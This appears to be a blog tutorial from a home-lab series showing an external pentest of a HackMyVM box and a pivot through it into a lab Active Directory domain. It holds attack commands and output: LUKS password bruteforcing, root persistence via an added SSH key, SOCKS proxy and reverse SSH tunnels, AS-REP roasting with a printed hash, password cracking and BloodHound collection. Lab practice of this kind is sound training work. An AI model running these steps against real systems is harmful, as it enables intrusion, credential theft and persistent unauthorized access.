External Pentest Practice in Your VirtualBox AD Lab

In this module of the VirtualBox cybersecurity home lab project, we are going to look at the process of setting up a dual-homed target to serve as a pivot point into an Active Directory network.
External Pentest Practice in Your VirtualBox AD Lab
In: VirtualBox, VirtualBox Cybersecurity Lab Project, Home Lab, CTF, Active Directory, Computer Networking
ℹ️
This page is part of a larger series on building a cybersecurity lab using VirtualBox. Click here to be taken back to the project home page.

Previous Step

Hack Your VirtualBox AD Lab
In this module we will look at using a publicly available script to make our Active Directory domain susceptible to multiple vulnerabilities.





Network Diagram




Setting up the Firewall

We want to make the lab as realistic as possible and remove any impulses to cheat. To do so, we will add a rule to the LAN subnet that blocks all packets to the AD_LAB subnets.

Block LAN Packets to AD LAB LAN

Log into pfSense and go to 'Firewall > Rules'
Select the 'LAN' interface rules
Click the 'Add' (up) button

All done. Click Save and Apply Changes.



Toggling the New Rule

In pfSense you can toggle a rule on and off without deleting it by pressing the little ✅ or ❌ to the left side of the rule.

Once you've toggled the rule on or off, click Apply Changes for it to take effect. This is a convenient way to enable the rule when you need it and disable it when you don't.





Setting up the Vulnerable Target

Importing the Vulnerable Target

Adding HackMyVM Boxes to Our VirtualBox Cyber Range
In this module, we will look at the process to import a VM from HackMyVM into our VirtualBox Cyber Range.
For this exercise, we're going to use the Oliva target
At this point, you should have Oliva imported from HackMyVM and the VM should have a single NIC attached to the Isolated LAN in VirtualBox.

Tweaking the VM

Take a Snapshot of the VM

Click 'Take'
Fill out your details and click 'OK'

Add a Second NIC to the VM

Right-click the VM > Settings > Network
Adapter 1 (ISOLATED)
Adapter 2 (AD LAB)



Configure the Interfaces File

⚠️
For this section, we are going to boot into single user mode. We don't have a credential to log into the VM, so we need to cheat by modifying some Grub settings to allow us to modify the interfaces file.
Troubleshooting Vulnhub VM Network Interface Issues in Proxmox
In this post, I show you how to troubleshoot when a VM you’ve imported from Vulnhub won’t receive an IP address from the DHCP server.

Not only for Vulnhub VMs, just what this article was focused on, we'll be focusing on the section about booting into "single user mode"

Press the ⬆️ or ⬇️ key to suspend the boot process and select "Debian GNU/Linux", then press the e key to edit
Change ro to rw and add init=/bin/bash, then press CTRL + X
We now have a bash shell on the host
Run the command ip link and note the two interfaces, eth0 and eth1
nano /etc/network/interfaces

Ensure the following changes are added to the interfaces file (you only have to do this once):

# The primary network interface
allow-hotplug eth0
iface eth0 inet dhcp

allow-hotplug eth1
iface eth1 inet dhcp
    post-up sleep 1; \
        ip route add 10.0.0.0/24 via 10.6.6.1 dev eth0; \
        ip route delete default via 10.6.6.1; \
        ip route delete default via 10.80.80.1; \
        ip route add default via 10.80.80.1 dev eth1 metric 90

Explaining the configuration file:

  • eth0 is the first interface on the cyber-range-LAN segment
  • eth1 is the second interface on the cyber-range-ad-lab segment
  • post-up tells the kernel to run the specified commands when the interface is marked "up"
  • sleep 1 pause execution for one second due to observed kernel race conditions
  • ip route add 10.0.0.0/24 via 10.6.6.1...
    • Add a route to the default LAN where Kali sits
    • Prefer this traffic to route out 10.6.6.1
  • ip route delete default...
    • Delete any routes created by the kernel as we will do a little bit of shifting
  • ip route add default via 10.80.80.1...
    • Prefer all traffic default to route out 10.80.80.1
    • This ensures the box has internet access and defaults to the AD LAB LAN
Press CTRL + X then Y to save the changes to the file. Then, press Enter to use the original interfaces file name.
Now, we're back at the bash prompt...
exec /sbin/init

Run this command to complete the boot process

In pfSense, We can see the DHCP lease for Oliva on the Isolated LAN
We can see the DHCP lease on the domain controller as well





Simulating the External Pentest

Scope

  • 10.6.6.14/32 — Oliva
  • 10.80.80.0/24ad.lab internal domain

Nmap Scan

sudo nmap -Pn -p- -T4 -sC -sV -oN nmap-scan.txt 10.6.6.14
# Nmap 7.95 scan initiated Wed Jul  2 16:20:48 2025 as: /usr/lib/nmap/nmap -Pn -p- -T4 -sC -sV -oN nmap-scan.txt 10.6.6.14
Nmap scan report for oliva.cyber.range (10.6.6.14)
Host is up (0.0057s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey: 
|   256 6d:84:71:14:03:7d:7e:c8:6f:dd:24:92:a8:8e:f7:e9 (ECDSA)
|_  256 d8:5e:39:87:9e:a1:a6:75:9a:28:78:ce:84:f7:05:7a (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jul  2 16:21:32 2025 -- 1 IP address (1 host up) scanned in 43.79 seconds
echo -e '10.6.6.14\t\toliva.hmv' | sudo tee -a /etc/hosts

Add an /etc/hosts entry for convenience



Enumeration and Exploit

I will not be doing a full walkthrough of this box, since that would greatly expand the size and scope of this article.

Please note that the IP address for my Oliva instance is 10.6.6.14 and yours may differ. Keep that in mind as you follow along.
Default nginx page, let's see if we can uncover some directories and/or files
gobuster dir -u http://oliva.hmv -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php -t 100 -o dir.txt
This downloads a file called "Oliva"
LUKS encrypted file
sudo apt install -y bruteforce-luks
bruteforce-luks -t 5 -f rockyou.txt -v 10 ~/Downloads/oliva

Wait a while for it to crack...

Password found: bebita
Enter bebita when prompted for a password
sudo umount /mnt/oliva_pwn

Unmount the share

sudo cryptsetup luksClose oliva

Unmap the LUKS volume

ssh oliva@oliva.hmv
ip addr show

Run on the target, should show two NICs as designed, 10.6.6.0/24 and 10.80.80.0/24





Setting up Persistence

Getting Situational Awareness

Looking at the output of the ip a command, we can see that — and we know because we built it — that this host has two network interfaces on two distinct subnets.

  • 10.6.6.0/24
  • 10.80.80.0/24
💡
Now would be the time to carry out additional enumeration on the target, searching for things like: usernames, passwords, privilege escalation paths, and other interesting artifacts.



Privilege Escalation

During post-exploit enumeration, we find nmap has a Linux capability that allows us to read files
We find a database password for the tcp/3306 internally
mysql -u 'root' -p'Savingmypass'
We find the password for the root user
su root

Enter password OhItwasEasy!



Achieving Persistence

Add a SSH Key to Root User

ssh-keygen -t rsa -b 4096 -C "" -f "oliva_root" -N ""

Run on your Kali Linux host to generate a SSH keypair

cat oliva_root.pub

Copy the public key string to your clipboard

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHNqNO49erfH+HxuqArq7 ... [snip] ...' >> /root/.ssh/authorized_keys

Add the the public key string to root authorized keys back in the Oliva SSH session

ssh -i oliva_root root@oliva.hmv

Test out the private key to see if you can SSH in





Setting up the Proxy

After our post-exploit enumeration, it should be clear that this is the pivot into the internal Active Directory environment. We can see in the IP configuration and routing table that this host has access to two subnets, with the interesting subnet being 10.80.80.0/24.

⚠️
Note: This section demonstrates SOCKS proxying using SSH dynamic forward proxy configurations. You should also take this opportunity to experiment with chisel and / or ligolo-ng.

Forward SOCKS5 Proxy over SSH

Establish the SOCKS5 Proxy

SSH Port Forwarding | 0xBEN | Notes
Security Considerations Reverse Tunneling This will require you to establish a SSH connection fr…
ℹ️
For the sake of space and not having to repeat myself, I'm going to refer you to my SSH port forwarding notes for diagrams and overall data flow to create the SOCKS5 proxy.
ssh -f -N -D 127.0.0.1:58080 -i oliva_root root@oliva.hmv
We see the port binding is active and associated to the ssh process



Edit Proxychains Configuration

sudo nano /etc/proxychains4.conf
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5  127.0.0.1 58080

Press CTRL + x and then Y to save the changes.





Testing out the Proxy

Scanning for Live Hosts in the AD Lab

Enumerating Hosts and ... | 0xBEN | Notes
Enumerating Live Hosts Internal ARP-Scan Since this is an internal assessment, Kali is on the sam…
💡
I use proxychains with the -q flag, as the output can be quite verbose and pollute the output of the original command
proxychains -q nxc smb 10.80.80.0/24
Because SMB reveals the NetBIOS names of the targets, we've easily found the domain controller -- DC1 in this case.



Why Does This Work?

Proxychains

  • proxychains intakes all of the network activity from nxc
  • Then, proxychains inspects the proxychains4.conf file and notes any proxies in the configuration file
    • We only have one socks5 127.0.0.1 58080 definition in the file
    • It's called proxychains, cause you can chain together multiple proxies

SSH

  • We connect to Oliva root
  • We specify -f -N -D 127.0.0.1:58080 which means
    • Any traffic sent to tcp/58080 on 127.0.0.1 will go into the SSH session and come out the other side
  • When it comes out the other side, it's up to the other side to figure out how to route the traffic
  • Recall that the target has two local routes
    • 10.6.6.0/24
    • 10.80.80.0/2a4
  • Since the destination IP addresses are in the 10.80.80.0/24 subnet, the target will route them there as long as there aren't any firewalls preventing it from doing so





Working through the Proxy

Hack Your VirtualBox AD Lab
In this module we will look at using a publicly available script to make our Active Directory domain susceptible to multiple vulnerabilities.
⚠️
Note that the attacks in the guide above are demonstrated where Kali is on the same subnet as the Active Directory lab. We'll just be using this guide as a point of reference.

Enumerate the Domain

sudo proxychains -q nmap -Pn -T4 -sT -p 389,636 --script ldap-rootdse 10.80.80.2
Indeed, we have our target domain!
echo '10.80.80.2        DC1.ad.lab' | sudo tee -a /etc/hosts

Add the domain controller to our /etc/hosts file



Port Scanning through the Proxy

⚠️
When using nmap through the proxy, you must use the -sT flag to make a full TCP connection with the target. Using -sS through a SOCKS proxy does not work, as the proxy itself cannot track the connections.

The downside to this is that the -sT flag and working through a proxy can add some latency to the nmap scan. Your other option is to use nmap directly on the proxy itself if it is already installed, or copy a statically compiled binary if it isn't.

Recall that in the previous step — Scanning for Live Hosts in the AD Lab — we used nxc through the proxy and found some live hosts. We're going to use this information to compile a list of nmap targets.

nano ./nmap-targets.txt

Paste the IP addresses of the AD targets found by nxc before

# -Pn                   : Disable ping checks, since this won't work through a proxy
# -sT                   : Full TCP connect due to proxy
# --top-ports 1000      : Since scanning all 65,535 ports will be quite slow
# -T4                   : Acceptable speed for proxy
# -iL ./nmap-targets.txt : Use the targets file to scan
sudo proxychains -q nmap -Pn -sT --top-ports 1000 -T4 -A -oN nmap-scan-ad-lab.txt -iL ./nmap-targets.txt

Use the nmap-targets.txt file as the input source



Other Port Scanning Options

Nmap Binary Installed on Proxy

ℹ️
We know nmap is installed on the target, as it was used during the privilege escalation procedure.
nmap -Pn -p- -T4 -sC -sV -oN ad-network-scan.txt 10.80.80.0/24

Run a port scan on the list of targets locally on the proxy


What if Nmap Isn't Installed on the Proxy?

You have a few options in this case:

  1. Continue with the current operation of using the proxy to port scan
  2. Download a statically compiled nmap binary to Kali and transfer it to the target
  3. If you have root on the proxy, you could use an existing Internet connection to install nmap. Or, you use Kali as a proxy to get out to the Internet
# -f N -R 127.0.0.1:58081
# Authenticates to Oliva over SSH
# Then, opens tcp/58081 on Oliva as Reverse Dynamic SOCKS proxy
# Connections sent through 127.0.0.1:58081 go through the SSH tunnel in reverse
# And come out the otherside through Kali
# Kali then routes the traffic to its destination

ssh -i oliva_root -f -N -R 127.0.0.1:58081 root@oliva.hmv

Create a reverse SOCKS proxy that uses Kali as a proxy for Internet access

🛑
You'll want to be careful with this kind of setup and promptly destroy the proxy once the objective is complete, as this will open any routes to the target which Kali has access to.
[Internet]<----[Kali] ======| SSH |======> [Target]
                  ^                            |
                  |                    127.0.0.1:58081
                  |                            |
                  |____________________________|
                   Go out 127.0.0.1:58081 over
                   SSH tunnel in reverse to reach
                   Internet.
http_proxy=socks5://127.0.0.1:58081 apt install -y nmap

Use the reverse dynamic SOCKS proxy to install nmap on the target

sudo kill -9 $(sudo ps aux | grep 58081 | grep -v grep | awk -v FS=' ' '{print $2}')

Run on Kali to kill the reverse proxy tunnel when objective complete

💡
Or... If apt-transport-socks is not installed and you get an error such as Unsupported proxy configured: socks5://127.0.0.1:58081, then you could use Burp as your HTTP proxy.
# -f N -R R:58080:127.0.0.1:8080
#         R:58080 = 127.0.0.1:58080 on target
#         127.0.0.1:8080 is the Burp IP and port on Kali
#
# Authenticates to Oliva over SSH
# Then, opens tcp/58081 on Oliva as Reverse Dynamic SOCKS proxy
# Connections sent through 127.0.0.1:58081 go through the SSH tunnel in reverse
# And come out the otherside through Kali
# Kali then routes the traffic to its destination

ssh -i oliva_root -f -N -R R:58081:127.0.0.1:8080 root@oliva.hmv

Create a reverse port forward that uses Burp on Kali as a HTTP proxy for Internet access

[Internet]<----[Kali] ======| SSH |======> [Target]
                  |                           [+]
                  |                            |
               ,--'---,                 127.0.0.1:58081
               | BURP |                        |
               '--|---'                        |
                  |                            |
            127.0.0.1:8080                     |
                  ^                            |
                  '----------[apt HTTP]--------'
                  
                   Go out 127.0.0.1:58081 over
                   SSH tunnel in reverse to reach
                   Burp proxy on 127.0.0.1:8080
                   which is running on Kali
http_proxy=http://127.0.0.1:58081 apt install -y nmap

Use the reverse port forward to install nmap on the target



Anonymous LDAP Queries

proxychains -q ldapsearch -x -H ldap://10.80.80.2 -D 'CN=anonymous,DC=ad,DC=lab' -W -b 'DC=ad,DC=lab' 'objectClass=user' | grep -i samaccountname



AS-REP Roasting Usernames

proxychains -q ldapsearch -x -H ldap://10.80.80.2 -D 'CN=anonymous,DC=ad,DC=lab' -W -b 'DC=ad,DC=lab' 'objectClass=user' | grep -i samaccountname | sed 's/sAMAccountName\:\ //g' > /tmp/usernames.txt
proxychains -q impacket-GetNPUsers -usersfile /tmp/usernames.txt -no-pass -dc-ip 10.80.80.2 ad.lab/
nano hash.txt
$krb5asrep$23$joan.hesther@AD.LAB:dbedde1eef7bf6307ad1be9e96afe360$6cbd451b18731c759febe6b45ad93717d9d628beccd7c83e19486009628c301d617623e06be8b6b33c18e56086c62c331e05ba3f9806decc24f31f0c15cebbbcd54d24ad5501cb7760bf722635fff96cee952ae682ee4b1796f00ecbd02127d16ef004347c90a57510fd1475fdd60b7f3464d5e36b149221224d4ab4428e9a8a1d73bb799520d3fc633d259ab59e2b98efeae5e806b517cc6a7e96e5b1587831d92bc9b736619151fe291eaffd87c574f1d1be9a50e811c6c39818a4b1856440131bc7a081110e00136204f6c1e541d9b030e24e14184675a88d31763cc735d0
john --wordlist=rockyou.txt hash.txt



RDP Session

xfreerdp | 0xBEN | Notes
Usage and Help Display the xfreerdp man page man xfreerdp Display the xfreerdp help output on the…
# /proxy:socks5://127.0.0.1:58080
    # OK to use SOCKS5 here even through SSH is SOCKS5
    # Use this switch instead of Proxychains
# /v:10.80.80.3 : The target to connect to
# /size:'90%' : Screen size of the RDP window
# /drive:.,kali-share : Map the current directory as a shared folder on the RDP target
# +clipboard : Enable clipboard support between Kali and the target

xfreerdp /proxy:socks5://127.0.0.1:58080 /v:10.80.80.3 /u:'joan.hesther@ad.lab' /p:'madison' /size:'90%' /drive:.,kali-share +clipboard



Bloodhound-Python

# --dns-tcp : Required as we're proxying
# faketime is used to make a NTP request to dc1.ad.lab
# Otherwise, Kerberos authentication can fail due to time sync issues
# Remember to set domain controller DNS name in the /etc/hosts file

proxychains -q \
faketime "$(ntpdate -q dc1.ad.lab | cut -d ' ' -f 1,2)" \
bloodhound-python \
-c All \
-u joan.hesther \
-p 'madison' \
-d ad.lab \
-ns 10.80.80.2 \
--dns-tcp





Wrapping Up

⚠️
I am not interested in re-writing the entire Hack Your AD Lab article, as you should be getting the idea now. For the most part, you'll just be using proxychains to send your attacks over the SSH tunnel.

A Note on Some Attacks

🛑
Some attacks require that Kali be on the same network as the Active Directory hosts. In other words, Kali needs to be on the 10.80.80.0/24 subnet. Some examples are below.
  • LLMNR Poisoning
  • MITM6 IPv6 Takeover
  • SMB Relay (uses Responder to poison)
  • ARP Poisoning
  • Just about any Layer 2 attack (see TCP/IP and OSI models)



Some Exceptions to Proxychains

Some commands come with options that allow you to specify a HTTP or SOCKS proxy. Some examples would be:

  • xfreerdp/proxy command line switch
  • curl--socks4 or --socks5 command line switches
  • hydraHYDRA_PROXY environment variable
  • Burp Suite
  • Lots more

The point being, you can use proxychains -q or you can set the 127.0.0.1:58080 SOCKS proxy using some specific command options.



Additional Attacks

Work your way down the rest of the attacks in this guide and practice sending them through proxychains -q or using command-specific options where necessary.

Hack Your VirtualBox AD Lab
In this module we will look at using a publicly available script to make our Active Directory domain susceptible to multiple vulnerabilities.
💡
Google, ChatGPT, your peers are all your friends in this effort. Do your research about attacks through a SOCKS proxy if something isn't covered in any of my material.

In my Active Directory notes, I cover quite a few examples of sending some commands through a SOCKS proxy. So, check there if you need a sanity check.

Active Directory | 0xBEN | Notes
Also, consider taking a look at my Active Directory Attack Map. While it doesn’t cover every possibl…





Next Step

Troubleshooting Your VirtualBox Lab
In this module, we will take a look at some common problems you may experience in your VirtualBox lab and how to begin fixing them.
Comments
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.